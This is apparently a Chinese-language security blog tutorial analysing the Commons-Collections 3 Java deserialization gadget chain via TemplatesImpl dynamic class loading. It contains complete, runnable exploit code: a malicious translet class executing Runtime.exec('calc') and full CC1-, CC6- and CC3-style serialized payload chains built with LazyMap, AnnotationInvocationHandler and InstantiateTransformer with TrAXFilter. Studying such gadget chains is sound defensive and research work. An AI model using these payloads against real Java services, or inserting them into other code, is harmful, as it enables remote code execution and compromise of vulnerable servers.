0x01 前言

关于 CC1,6 和 CC3 的区别,之前分析的链子是通过 Runtime.exec(),进行命令执行的,那么其实很多时候服务器的代码当中的黑名单会选择禁用 Runtime,所以 CC3 采用了动态类加载的方式来自动执行恶意类代码。

0x02 环境搭建

  • jdk8u65
  • Commons-Collections 3.2.1

0x03 TemplatesImpl 分析

defineClass()

之前的动态类加载的学习中,我们了解到了利用 ClassLoader#defineClass 直接加载字节码的手段。

该方法调用流程如下:

首先是 loadClass(),它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()

然后是 findClass(),它会根据名称或位置加载 .class 字节码, 然后使用 defineClass()(通常交给子类实现)

class NetworkClassLoader extends ClassLoader {
        String host;
        int port;

         public Class findClass(String name) {
            byte[] b = loadClassData(name);
             return defineClass(name, b, 0, b.length);
         }

         private byte[] loadClassData(String name) {
             // load the class data from the connection
         }
}
// 子类的实现方式

最后是 defineClass(),它会处理前面传入的字节码,将其处理成真正的 Java 类,但此时只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。

寻找 public 方法

由于此时 defineClass() 方法作用域为 protected,为了方便我们之后调用,我们去寻找一个 public 的方法

这里找到 TemplatesImpl 类中有调用 defineClass 方法,这里没有说明具体的作用域,也就是默认的 default,也就是说自己的类里面可以调用,我们继续查找

找到了 defineTransletClasses(),不过是私有的接着找

这里有 3 处,我们都看一下

getTransletClasses()

private synchronized Class[] getTransletClasses() {
    try {
        if (_class == null) defineTransletClasses();
    }
    catch (TransformerConfigurationException e) {
        // Falls through
    }
    return _class;
}

// 直接返回

getTransletIndex()

public synchronized int getTransletIndex() {
    try {
        if (_class == null) defineTransletClasses();
    }
    catch (TransformerConfigurationException e) {
        // Falls through
    }
    return _transletIndex;
}

// 虽然是 public 但是也是直接返回

getTransletInstance()

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

这里发现进行了实例化,走完这个函数那么就能动态执行代码,不过它是私有的,所以继续找。

成功找到 public 方法,进行下一步

0x04 TemplatesImpl 利用

前面已经找到 newTransformer() 方法可以加载字节码并进行实例化,那么我们一步一步满足条件编写 Poc

在此之前,先写一个恶意类等会拿过去加载

import java.io.IOException;

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

首先跟进 newTransformer()getTransletInstance() 方法

进入 defineTransletClasses() 方法看一下

_bytecodes 的值,这里需要的是一个二维数组,所以我们创建一个二维数组。但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放之前构造的恶意字节码。

_tfactory 不为空,但是是 private transient 不能被序列化,所以我们看看 readObject() 方法怎么写的

_tfactory = new TransformerFactoryImpl();

不过没有成功弹出计算器,我们调试一下

这里检查父类的 name 是否等于常量 ABSTRACT_TRANSLET,那么我们修改我们的恶意字节码即可

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Exp:

package com.hsad;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;


public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ti = templates.getClass();
        Field nameField = ti.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        byte[] code = Files.readAllBytes(Paths.get("C:\\JavaProject\\Java_Sec\\unserialize\\Commons-Collections-3\\target\\classes\\calc.class"));
        byte[][] codes = {code};
        Field bytesField = ti.getDeclaredField("_bytecodes");
        bytesField.setAccessible(true);
        bytesField.set(templates, codes);

        Field tfactoryField = ti.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        templates.newTransformer();
    }
}

0x05 CC1 TemplatesImpl 实现方法

先写出通过 Transformer 调用的代码

package com.hsad.exploit;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc1Templatesimpl {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ti = templates.getClass();
        Field nameField = ti.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        byte[] code = Files.readAllBytes(Paths.get("C:\\JavaProject\\Java_Sec\\unserialize\\Commons-Collections-3\\target\\classes\\calc.class"));
        byte[][] codes = {code};
        Field bytesField = ti.getDeclaredField("_bytecodes");
        bytesField.setAccessible(true);
        bytesField.set(templates, codes);

        Field tfactoryField = ti.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

//        templates.newTransformer();
//          通过 CC1Transformer 调用
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",
                        null,
                        null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform("aa");
//      chainedTransformer.transform 方法需要传入一个对象
    }
}

接下来带着 CC1 之前的链子触发

package com.hsad.exploit;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc1Templatesimpl {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ti = templates.getClass();
        Field nameField = ti.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        byte[] code = Files.readAllBytes(Paths.get("C:\\JavaProject\\Java_Sec\\unserialize\\Commons-Collections-3\\target\\classes\\calc.class"));
        byte[][] codes = {code};
        Field bytesField = ti.getDeclaredField("_bytecodes");
        bytesField.setAccessible(true);
        bytesField.set(templates, codes);

        Field tfactoryField = ti.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

//        templates.newTransformer();
//          通过 CC1Transformer 调用
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",
                        null,
                        null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("aa");
        Map<String, String> map = new HashMap<String, String>();
        map.put("a", "b");
        Map<String, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
//        lazyMap.get(Runtime.class);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
                , new Class[]{Map.class}, invocationHandler);
        invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);

        serialize(invocationHandler);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

0x05 CC6 TemplatesImpl 实现方法

package com.hsad.exploit;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc6Templatesimpl {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class ti = templates.getClass();
        Field nameField = ti.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        byte[] code = Files.readAllBytes(Paths.get("C:\\JavaProject\\Java_Sec\\unserialize\\Commons-Collections-3\\target\\classes\\calc.class"));
        byte[][] codes = {code};
        Field bytesField = ti.getDeclaredField("_bytecodes");
        bytesField.setAccessible(true);
        bytesField.set(templates, codes);

        Field tfactoryField = ti.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

//        templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",
                        null,
                        null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
//        lazyMap.get("");
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "bbb");
        map.remove("aaa");


        Class lazyClass = LazyMap.class;
        Field factoryField = lazyClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);

        serialize(hashMap);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

0x06 CC3 攻击链分析

根据之前分析方法,find usages 看谁调用了 newTransformer()

这里我们使用 TrAXFilter 类,理由如下:

  1. Process 这个在 _main 里面,作为一般对象使用,所以不用它。

  2. getOutProperties,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用。

  3. TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参。

而我们看到 TrAXFilter 类,即使没有序列化接口,但是他的构造函数恰好是使用了 newTransformer()

之前在 CC1 CC6 中是使用了 InvokerTransformer,那么在 CC3 中使用的是 InstantiateTransformer

恰好他的 transform() 方法是获取类的构造器并调用构造函数。

那么到了这一步就和之前的链子差不多了

0x07 CC3 Exploit

package com.hsad.exploit;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        byte[] code = Files.readAllBytes(Paths.get("C:\\JavaProject\\Java_Sec\\unserialize\\Commons-Collections-3\\target\\classes\\calc.class"));
        byte[][] codes = {code};
        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, codes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

//        templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("aa");
        Map<String, String> map = new HashMap<String, String>();
        map.put("a", "b");
        Map<String, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
//        lazyMap.get(Runtime.class);
        Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = aih.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
                , new Class[]{Map.class}, invocationHandler);
        invocationHandler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, proxyMap);

//        serialize(invocationHandler);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}